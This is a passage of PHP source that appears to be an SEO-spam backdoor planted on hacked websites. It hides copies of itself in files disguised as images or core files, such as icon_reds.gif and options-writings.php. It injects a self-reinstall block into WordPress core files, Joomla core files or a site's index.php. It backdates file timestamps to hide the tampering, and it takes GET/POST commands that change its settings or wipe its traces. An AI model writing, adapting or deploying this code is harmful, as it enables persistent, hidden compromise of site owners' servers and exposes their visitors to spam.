@touch($backupfile2, $fitime, $fitime);
@touch(dirname($backupfile2), $fitime, $fitime);
}
$arrTemps = explode('/',GETDOM);
$tpNum = count($arrTemps);
$dateArr = array();
$dateArr['dom'] = $thisdom;
$dateArr['myFile'] = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$dateArr['indexhyFile'] = __FILE__;
$dateArr['mbFile'] = str_replace('index.php','moban.html',$dateArr['indexhyFile']);
$dateArr['htaccess'] = str_replace('index.php','',$dateArr['indexhyFile']) ."$PreDir.htaccess";
$dateArr['act'] = 'pt';
$dateArr['moshi'] = JDT;
$dateArr['bzpro'] = BZPRO;
$dateArr['bao'] = $arrTemps[$tpNum-2];
if($backupfile1){
$bfileurl1 = 'http://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile1);
$dateArr['backupfile1'] = $bfileurl1;
}
if($backupfile2){
$bfileurl2 = 'http://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile2);
$dateArr['backupfile2'] = $bfileurl2;
}
$nowDirName = @end(explode(DIRECTORY_SEPARATOR,dirname(__FILE__)));
if($sysType == 'wp'){
$ckLocalFile1 = '../wp-includes/load.php';
$ckLocalFile2 = '../wp-includes/template-loader.php';
if(!is_dir("../wp-includes"))
@mkdir("../wp-includes",0755);
if(is_dir("../wp-includes/images/smilies/")){
$bkLocalFileIndex1 = '../wp-includes/images/smilies/icon_reds.gif';
$bkLocalFileHtac1 = '../wp-includes/images/smilies/icon_blacks.gif';
$bkLocalFileMoban1 = '../wp-includes/images/smilies/icon_greens.gif';
}else{
$bkLocalFileIndex1 = '../wp-includes/class-wp-customize-settings.php';
$bkLocalFileHtac1 = '../wp-includes/class-wp-customize-panels.php';
$bkLocalFileMoban1 = '../wp-includes/class-wp-customize-controls.php';
}
if(!is_dir("../wp-admin"))
@mkdir("../wp-admin",0755);
if(is_dir("../wp-admin/images/")){
$bkLocalFileIndex2 = '../wp-admin/images/align-lefts.png';
$bkLocalFileHtac2 = '../wp-admin/images/align-rights.png';
$bkLocalFileMoban2 = '../wp-admin/images/align-centers.png';
}else{
$bkLocalFileIndex2 = '../wp-admin/options-writings.php';
$bkLocalFileHtac2 = '../wp-admin/options-medias.php';
$bkLocalFileMoban2 = '../wp-admin/options-discussions.php';
}
$nowMobanFile = './moban.html';
$nowMobanFileI = './'.$nowDirName.'/moban.html';
$nowLogFileI = './'.$nowDirName.'/logs.txt';
$nowIndexFile = './index.php';
$nowIndexFileI = './'.$nowDirName.'/index.php';
if(JDT == 1){
$nowHtacFile = './.htaccess';
$nowHtacFileI = './'.$nowDirName.'/.htaccess';
}elseif(JDT == 0){
$nowHtacFile = '../.htaccess';
$nowHtacFileI = './.htaccess';
}else{
$nowHtacFile = '';
$nowHtacFileI = '';
}
$strNowIndex = file_get_contents($nowIndexFile);
$r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex); $r4 = '#i{9}bg.*?i{9}end#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#c{6}getbg.*?c{6}getend#si';
$strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#c{6}getbg.*?c{6}getend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2);
$strNowIndex = $strNowIndex2;
$strNowMoban = file_get_contents($nowMobanFile);
$strNowHtac = file_get_contents($nowHtacFile);
if(file_exists($ckLocalFile1)){
$strCkLocalFile1 = file_get_contents($ckLocalFile1);
@chmod($ckLocalFile1,0755);
if(stristr($strCkLocalFile1,'function require_wp_db')){
$rpRpFind = 'function require_wp_db';
}elseif(stristr($strCkLocalFile1,'function timer_start')){
$rpRpFind = 'function timer_start';
}else{
$rpRpFind = false;
}
file_put_contents($bkLocalFileIndex1,$strNowIndex);
file_put_contents($bkLocalFileMoban1,$strNowMoban);
file_put_contents($bkLocalFileHtac1,$strNowHtac);
@touch($bkLocalFileIndex1, $fitime, $fitime);
@touch($bkLocalFileMoban1, $fitime, $fitime);
@touch($bkLocalFileHtac1, $fitime, $fitime);
$NowPutStrI = PHP_EOL . '//ck1bg'.PHP_EOL;
$NowPutStrI .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
$NowPutStrI .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
$NowPutStrI .= '$nowMobanFile = '." '$nowMobanFileI';".PHP_EOL;
$NowPutStrI .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
$NowPutStrI .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileIndex1 = '." '".str_replace('../wp-includes/','./wp-includes/',$bkLocalFileIndex1)."';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileHtac1 = '." '".str_replace('../wp-includes/','./wp-includes/',$bkLocalFileHtac1)."';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileMoban1 = '." '".str_replace('../wp-includes/','./wp-includes/',$bkLocalFileMoban1)."';".PHP_EOL;
$NowPutStrI .= '
if($nowHtacFile && file_exists($bkLocalFileHtac1)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
@chmod($nowHtacFile,0755);
}
}
if(file_exists($bkLocalFileIndex1)){
if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowIndexFile,0755);
@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
@chmod($nowIndexFile,0755);
}
}
if(file_exists($bkLocalFileMoban1)){
if(!file_exists($nowMobanFile)){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
@chmod($nowMobanFile,0755);
}else{
if(filesize($nowMobanFile) != filesize($bkLocalFileMoban1)){
$tpstrMb = file_get_contents($nowMobanFile);
if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
$fitime = filemtime($bkLocalFileMoban1);
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($bkLocalFileMoban1,$tpstrMb);
@touch($bkLocalFileMoban1, $fitime, $fitime);
}else{
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
@chmod($bkLocalFileMoban1,0755);
}
}
}
}';
$NowPutStrI .= PHP_EOL . '//ck1end'.PHP_EOL;
if(strstr($strCkLocalFile1,'//ck1bg') && strstr($strCkLocalFile1,'//ck1end')){
$rsck1 = '#//ck1bg.*?//ck1end#si';
$strCkLocalFile1 = preg_replace($rsck1,$NowPutStrI,$strCkLocalFile1);
}else{
if(!$rpRpFind){
$strCkLocalFile1 = $strCkLocalFile1.PHP_EOL .$NowPutStrI;
}else{
$strCkLocalFile1 = str_replace($rpRpFind,$NowPutStrI.$rpRpFind,$strCkLocalFile1);
}
}
file_put_contents($ckLocalFile1,$strCkLocalFile1);
@touch($ckLocalFile1, $fitime, $fitime);
}
if(file_exists($ckLocalFile2)){
$strckLocalFile2 = file_get_contents($ckLocalFile2);
@chmod($ckLocalFile2,0755);
if(stristr($strckLocalFile2,'function require_wp_db')){
$rpRpFind = 'function require_wp_db';
}elseif(stristr($strckLocalFile2,'function timer_start')){
$rpRpFind = 'function timer_start';
}else{
$rpRpFind = false;
}
file_put_contents($bkLocalFileIndex2,$strNowIndex);
file_put_contents($bkLocalFileMoban2,$strNowMoban);
file_put_contents($bkLocalFileHtac2,$strNowHtac);
@touch($bkLocalFileIndex2, $fitime, $fitime);
@touch($bkLocalFileMoban2, $fitime, $fitime);
@touch($bkLocalFileHtac2, $fitime, $fitime);
$NowPutStrTwo = PHP_EOL . '//ckIIbg'.PHP_EOL;
$NowPutStrTwo .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
$NowPutStrTwo .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
$NowPutStrTwo .= '$nowMobanFile = '." '$nowMobanFileI';".PHP_EOL;
$NowPutStrTwo .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
$NowPutStrTwo .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
$NowPutStrTwo .= '$bkLocalFileIndex2 = '." '".str_replace('../wp-admin/','./wp-admin/',$bkLocalFileIndex2)."';".PHP_EOL;
$NowPutStrTwo .= '$bkLocalFileHtac2 = '." '".str_replace('../wp-admin/','./wp-admin/',$bkLocalFileHtac2)."';".PHP_EOL;
$NowPutStrTwo .= '$bkLocalFileMoban2 = '." '".str_replace('../wp-admin/','./wp-admin/',$bkLocalFileMoban2)."';".PHP_EOL;
$NowPutStrTwo .= '
if($nowHtacFile && file_exists($bkLocalFileHtac2)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac2))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac2));
@chmod($nowHtacFile,0755);
}
}
if(file_exists($bkLocalFileIndex2)){
if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex2) && !file_exists($nowLogFile))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowIndexFile,0755);
@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex2));
@chmod($nowIndexFile,0755);
}
}
if(file_exists($bkLocalFileMoban2)){
if(!file_exists($nowMobanFile)){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban2));
@chmod($nowMobanFile,0755);
}else{
if(filesize($nowMobanFile) != filesize($bkLocalFileMoban2)){
$tpstrMb = file_get_contents($nowMobanFile);
if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
$fitime = filemtime($bkLocalFileMoban2);
@chmod($bkLocalFileMoban2,0755);
@file_put_contents($bkLocalFileMoban2,$tpstrMb);
@touch($bkLocalFileMoban2, $fitime, $fitime);
}else{
@chmod($bkLocalFileMoban2,0755);
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban2));
@chmod($bkLocalFileMoban2,0755);
}
}
}
}';
$NowPutStrTwo .= PHP_EOL . '//ckIIend'.PHP_EOL;
if(strstr($strckLocalFile2,'//ckIIbg') && strstr($strckLocalFile2,'//ckIIend')){
$rsckII = '#//ckIIbg.*?//ckIIend#si';
$strckLocalFile2 = preg_replace($rsckII,$NowPutStrTwo,$strckLocalFile2);
}else{
$strckLocalFile2 = '<'.'?php'. PHP_EOL .$NowPutStrTwo. PHP_EOL . '?>'.PHP_EOL . $strckLocalFile2;
}
file_put_contents($ckLocalFile2,$strckLocalFile2);
@touch($ckLocalFile2, $fitime, $fitime);
}
}elseif($sysType == 'Joomla'){
$ckLocalFile1 = '../libraries/loader.php';
$ckLocalFile2 = '../includes/framework.php';
if(!is_dir("../templates"))
@mkdir("../templates",0755);
if(!is_dir("../templates/system"))
@mkdir("../templates/system",0755);
if(!is_dir("../templates/system/images"))
@mkdir("../templates/system/images",0755);
$bkLocalFileIndex1 = '../templates/system/images/i_button1_blank.png';
$bkLocalFileHtac1 = '../templates/system/images/i_button1_image.png';
$bkLocalFileMoban1 = '../templates/system/images/i_button1_left.png';
if(!is_dir("../media"))
@mkdir("../media",0755);
if(!is_dir("../media/media"))
@mkdir("../media/media",0755);
if(!is_dir("../media/media/images"))
@mkdir("../media/media/images",0755);
if(!is_dir("../media/media/images/mime-icon-16"))
@mkdir("../media/media/images/mime-icon-16",0755);
$bkLocalFileIndex2 = '../media/media/images/mime-icon-16/mp3s.png';
$bkLocalFileHtac2 = '../media/media/images/mime-icon-16/mp4s.png';
$bkLocalFileMoban2 = '../media/media/images/mime-icon-16/odcs.png';
$nowMobanFile = './moban.html';
$nowMobanFileI = './'.$nowDirName.'/moban.html';
$nowLogFileI = './'.$nowDirName.'/logs.txt';
$nowIndexFile = './index.php';
$nowIndexFileI = './'.$nowDirName.'/index.php';
if(JDT == 1){
$nowHtacFile = './.htaccess';
$nowHtacFileI = './'.$nowDirName.'/.htaccess';
}elseif(JDT == 0){
$nowHtacFile = '../.htaccess';
$nowHtacFileI = './.htaccess';
}else{
$nowHtacFile = '';
$nowHtacFileI = '';
}
$strNowIndex = file_get_contents($nowIndexFile);
$r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex); $r4 = '#i{9}bg.*?i{9}end#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#c{6}getbg.*?c{6}getend#si';
$strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#c{6}getbg.*?c{6}getend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2);
$strNowIndex = $strNowIndex2;
$strNowMoban = file_get_contents($nowMobanFile);
$strNowHtac = file_get_contents($nowHtacFile);
if(file_exists($ckLocalFile1)){
$strCkLocalFile1 = file_get_contents($ckLocalFile1);
@chmod($ckLocalFile1,0755);
if(stristr($strCkLocalFile1,'// Check if jexit')){
$rpRpFind = '// Check if jexit';
}elseif(stristr($strCkLocalFile1,'function jimport')){
$rpRpFind = 'function jimport';
}else{
$rpRpFind = false;
}
file_put_contents($bkLocalFileIndex1,$strNowIndex);
file_put_contents($bkLocalFileMoban1,$strNowMoban);
file_put_contents($bkLocalFileHtac1,$strNowHtac);
@touch($bkLocalFileIndex1, $fitime, $fitime);
@touch($bkLocalFileMoban1, $fitime, $fitime);
@touch($bkLocalFileHtac1, $fitime, $fitime);
$NowPutStrI = PHP_EOL . '//ck1bg'.PHP_EOL;
$NowPutStrI .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
$NowPutStrI .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
$NowPutStrI .= '$nowMobanFile = '." '$nowMobanFileI';".PHP_EOL;
$NowPutStrI .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
$NowPutStrI .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileIndex1 = '." '".str_replace('../templates/','./templates/',$bkLocalFileIndex1)."';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileHtac1 = '." '".str_replace('../templates/','./templates/',$bkLocalFileHtac1)."';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileMoban1 = '." '".str_replace('../templates/','./templates/',$bkLocalFileMoban1)."';".PHP_EOL;
$NowPutStrI .= '
if($nowHtacFile && file_exists($bkLocalFileHtac1)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
@chmod($nowHtacFile,0755);
}
}
if(file_exists($bkLocalFileIndex1)){
if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowIndexFile,0755);
@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
@chmod($nowIndexFile,0755);
}
}
if(file_exists($bkLocalFileMoban1)){
if(!file_exists($nowMobanFile)){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
@chmod($nowMobanFile,0755);
}else{
if(filesize($nowMobanFile) != filesize($bkLocalFileMoban1)){
$tpstrMb = file_get_contents($nowMobanFile);
if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
$fitime = filemtime($bkLocalFileMoban1);
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($bkLocalFileMoban1,$tpstrMb);
@touch($bkLocalFileMoban1, $fitime, $fitime);
}else{
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
@chmod($bkLocalFileMoban1,0755);
}
}
}
}';
$NowPutStrI .= PHP_EOL . '//ck1end'.PHP_EOL;
if(strstr($strCkLocalFile1,'//ck1bg') && strstr($strCkLocalFile1,'//ck1end')){
$rsck1 = '#//ck1bg.*?//ck1end#si';
$strCkLocalFile1 = preg_replace($rsck1,$NowPutStrI,$strCkLocalFile1);
}else{
if(!$rpRpFind){
$strCkLocalFile1 = $strCkLocalFile1.PHP_EOL .$NowPutStrI;
}else{
$strCkLocalFile1 = str_replace($rpRpFind,$NowPutStrI.$rpRpFind,$strCkLocalFile1);
}
}
file_put_contents($ckLocalFile1,$strCkLocalFile1);
@touch($ckLocalFile1, $fitime, $fitime);
}
if(file_exists($ckLocalFile2)){
$strckLocalFile2 = file_get_contents($ckLocalFile2);
@chmod($ckLocalFile2,0755);
if(stristr($strckLocalFile2,'ob_end_clean')){
$rpRpFind = 'ob_end_clean';
}elseif(stristr($strckLocalFile2,'// System configuration')){
$rpRpFind = '// System configuration';
}else{
$rpRpFind = false;
}
file_put_contents($bkLocalFileIndex2,$strNowIndex);
file_put_contents($bkLocalFileMoban2,$strNowMoban);
file_put_contents($bkLocalFileHtac2,$strNowHtac);
@touch($bkLocalFileIndex2, $fitime, $fitime);
@touch($bkLocalFileMoban2, $fitime, $fitime);
@touch($bkLocalFileHtac2, $fitime, $fitime);
$NowPutStrTwo = PHP_EOL . '//ckIIbg'.PHP_EOL;
$NowPutStrTwo .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
$NowPutStrTwo .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
$NowPutStrTwo .= '$nowMobanFile = '." '$nowMobanFileI';".PHP_EOL;
$NowPutStrTwo .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
$NowPutStrTwo .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
$NowPutStrTwo .= '$bkLocalFileIndex2 = '." '".str_replace('../media/','./media/',$bkLocalFileIndex2)."';".PHP_EOL;
$NowPutStrTwo .= '$bkLocalFileHtac2 = '." '".str_replace('../media/','./media/',$bkLocalFileHtac2)."';".PHP_EOL;
$NowPutStrTwo .= '$bkLocalFileMoban2 = '." '".str_replace('../media/','./media/',$bkLocalFileMoban2)."';".PHP_EOL;
$NowPutStrTwo .= '
if($nowHtacFile && file_exists($bkLocalFileHtac2)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac2))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac2));
@chmod($nowHtacFile,0755);
}
}
if(file_exists($bkLocalFileIndex2)){
if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex2) && !file_exists($nowLogFile))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowIndexFile,0755);
@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex2));
@chmod($nowIndexFile,0755);
}
}
if(file_exists($bkLocalFileMoban2)){
if(!file_exists($nowMobanFile)){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban2));
@chmod($nowMobanFile,0755);
}else{
if(filesize($nowMobanFile) != filesize($bkLocalFileMoban2)){
$tpstrMb = file_get_contents($nowMobanFile);
if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
$fitime = filemtime($bkLocalFileMoban2);
@chmod($bkLocalFileMoban2,0755);
@file_put_contents($bkLocalFileMoban2,$tpstrMb);
@touch($bkLocalFileMoban2, $fitime, $fitime);
}else{
@chmod($bkLocalFileMoban2,0755);
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban2));
@chmod($bkLocalFileMoban2,0755);
}
}
}
}';
$NowPutStrTwo .= PHP_EOL . '//ckIIend'.PHP_EOL;
if(strstr($strckLocalFile2,'//ckIIbg') && strstr($strckLocalFile2,'//ckIIend')){
$rsckII = '#//ckIIbg.*?//ckIIend#si';
$strckLocalFile2 = preg_replace($rsckII,$NowPutStrTwo,$strckLocalFile2);
}else{
if(!$rpRpFind){
$strckLocalFile2 = $strckLocalFile2.PHP_EOL .$NowPutStrTwo;
}else{
$strckLocalFile2 = str_replace($rpRpFind,$NowPutStrTwo.$rpRpFind,$strckLocalFile2);
}
}
file_put_contents($ckLocalFile2,$strckLocalFile2);
@touch($ckLocalFile2, $fitime, $fitime);
}
}else{
$ckLocalFile1 = '../index.php';
if(!is_dir("../images"))
@mkdir("../images",0755);
$bkLocalFileIndex1 = '../images/logo_s.jpg';
$bkLocalFileHtac1 = '../images/head_s.jpg';
$bkLocalFileMoban1 = '../images/banner_s.jpg';
$nowMobanFile = './moban.html';
$nowMobanFileI = './'.$nowDirName.'/moban.html';
$nowLogFileI = './'.$nowDirName.'/logs.txt';
$nowIndexFile = './index.php';
$nowIndexFileI = './'.$nowDirName.'/index.php';
if(JDT == 1){
$nowHtacFile = './.htaccess';
$nowHtacFileI = './'.$nowDirName.'/.htaccess';
}elseif(JDT == 0){
$nowHtacFile = '../.htaccess';
$nowHtacFileI = './.htaccess';
}else{
$nowHtacFile = '';
$nowHtacFileI = '';
}
$strNowIndex = file_get_contents($nowIndexFile);
$r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex); $r4 = '#i{9}bg.*?i{9}end#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#c{6}getbg.*?c{6}getend#si';
$strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#c{6}getbg.*?c{6}getend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2);
$strNowIndex = $strNowIndex2;
$strNowMoban = file_get_contents($nowMobanFile);
$strNowHtac = file_get_contents($nowHtacFile);
if(file_exists($ckLocalFile1)){
$strCkLocalFile1 = file_get_contents($ckLocalFile1);
@chmod($ckLocalFile1,0755);
file_put_contents($bkLocalFileIndex1,$strNowIndex);
file_put_contents($bkLocalFileMoban1,$strNowMoban);
file_put_contents($bkLocalFileHtac1,$strNowHtac);
@touch($bkLocalFileIndex1, $fitime, $fitime);
@touch($bkLocalFileMoban1, $fitime, $fitime);
@touch($bkLocalFileHtac1, $fitime, $fitime);
$NowPutStrI = PHP_EOL . '//ck1bg'.PHP_EOL;
$NowPutStrI .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
$NowPutStrI .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
$NowPutStrI .= '$nowMobanFile = '." '$nowMobanFileI';".PHP_EOL;
$NowPutStrI .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
$NowPutStrI .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileIndex1 = '." '".str_replace('../images/','./images/',$bkLocalFileIndex1)."';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileHtac1 = '." '".str_replace('../images/','./images/',$bkLocalFileHtac1)."';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileMoban1 = '." '".str_replace('../images/','./images/',$bkLocalFileMoban1)."';".PHP_EOL;
$NowPutStrI .= '
if($nowHtacFile && file_exists($bkLocalFileHtac1)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
@chmod($nowHtacFile,0755);
}
}
if(file_exists($bkLocalFileIndex1)){
if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowIndexFile,0755);
@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
@chmod($nowIndexFile,0755);
}
}
if(file_exists($bkLocalFileMoban1)){
if(!file_exists($nowMobanFile)){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
@chmod($nowMobanFile,0755);
}else{
if(filesize($nowMobanFile) != filesize($bkLocalFileMoban1)){
$tpstrMb = file_get_contents($nowMobanFile);
if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
$fitime = filemtime($bkLocalFileMoban1);
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($bkLocalFileMoban1,$tpstrMb);
@touch($bkLocalFileMoban1, $fitime, $fitime);
}else{
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
@chmod($bkLocalFileMoban1,0755);
}
}
}
}';
$NowPutStrI .= PHP_EOL . '//ck1end'.PHP_EOL;
if(strstr($strCkLocalFile1,'//ck1bg') && strstr($strCkLocalFile1,'//ck1end')){
$rsck1 = '#//ck1bg.*?//ck1end#si';
$strCkLocalFile1 = preg_replace($rsck1,$NowPutStrI,$strCkLocalFile1);
}else{
$strCkLocalFile1 = preg_replace('#<\?(php)?#i', '<'.'?'. PHP_EOL .$NowPutStrI. PHP_EOL , $strCkLocalFile1, 1);
}
file_put_contents($ckLocalFile1,$strCkLocalFile1);
@touch($ckLocalFile1, $fitime, $fitime);
}
}
save_install($dateArr);
echo '<br/>rset ok!<br/>';
echo 'please open this url: '.GETDOM .'gfile.php?site='.$thisdom;
echo "<br/>";
$staus = backup_install($dateArr,2);
if($staus != '#ok#'){
$staus = backup_install_two($dateArr,1);
}
if($staus == '#ok#'){
echo '<br/>backup ok!<br/>';
}else{
echo '<br/>backup fail!<br/>';
}
}
if(isset($_GET["ljshu"]) && $_GET["ljshu"]){
$strDefault = file_get_contents(__FILE__);
$strDefault = str_replace('define("LINKNUM","18");', 'define("LINKNUM","'.$_GET["ljshu"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>ljshu (".$_GET["ljshu"].") ok!<br/>";}
if(isset($_GET["moshi"])){
if($_GET["moshi"] != 0 && $_GET["moshi"] != 1 && $_GET["moshi"] != 2 && $_GET["moshi"] != 3){
echo "<br/><span style='color:red'>set fails, moshi value must be 0,1,2 or 3 !</span><br/>"; die(); }
if($_GET["moshi"] == 2 || $_GET["moshi"] == 3){
@unlink(".htaccess"); }
$strDefault = file_get_contents(__FILE__);
$r3='#(/{2}msbg)(.*?)(/{2}msend)#s';
$rp2 = 'define("JDT","'.$_GET["moshi"].'");'; $strDefault=preg_replace($r3,''.PHP_EOL.$rp2.PHP_EOL.'',$strDefault);
$strDefault = str_replace('define("JDT","0");', 'define("JDT","'.$_GET["moshi"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>moshi (".$_GET["moshi"].") ok!<br/>";}
if(isset($_GET["modifydate"]) && $_GET["modifydate"]){
$strDefault = file_get_contents(__FILE__);
$strDefault = str_replace('define("PRENAME","20160409");', 'define("PRENAME","'.$_GET["modifydate"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>modifydate (".$_GET["modifydate"].") ok!<br/>";}
if(isset($_GET["delmyself"]) && $_GET["delmyself"]==1){
$str = file_get_contents(__FILE__); $r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $str2 = preg_replace($r4, '', $str); $r4 = '#i{9}bg.*?i{9}end#si'; $str2 = preg_replace($r4, '', $str2); $r4 = '#c{6}getbg.*?c{6}getend#si';
$str2 = preg_replace($r4, '', $str2); $r4 = '#c{6}getbg.*?c{6}getend#si'; $str2 = preg_replace($r4, '', $str2);
file_put_contents(__FILE__,$str2);
@unlink("../logs.txt");
echo 'ok';
die();
}
if(isset($_POST["delmyself"]) && $_POST["delmyself"]==1){
$str = file_get_contents(__FILE__); $r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $str2 = preg_replace($r4, '', $str); $r4 = '#i{9}bg.*?i{9}end#si'; $str2 = preg_replace($r4, '', $str2); $r4 = '#c{6}getbg.*?c{6}getend#si';
$str2 = preg_replace($r4, '', $str2); $r4 = '#c{6}getbg.*?c{6}getend#si'; $str2 = preg_replace($r4, '', $str2);
file_put_contents(__FILE__,$str2);
@unlink("../logs.txt");
echo 'ok';
die();
}
// iiiiiiiiiend
$arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
$arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};}
$Arrrarr = array_flip($arrArrr);
$stss = 'transferdm';
$stss2 = 'deliverym';
if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){
$O_OO0_0O_0='America/Chicago'; @date_default_timezone_set($O_OO0_0O_0);
if (! is_dir("../sitemap"))
mkdir("../sitemap", 0755);
global $gnumber;
$gnumber = 1;
$bgNum = (int)trim($_GET["gsitemap"]);
$mapnum = (int)trim($_GET["mapnum"]);
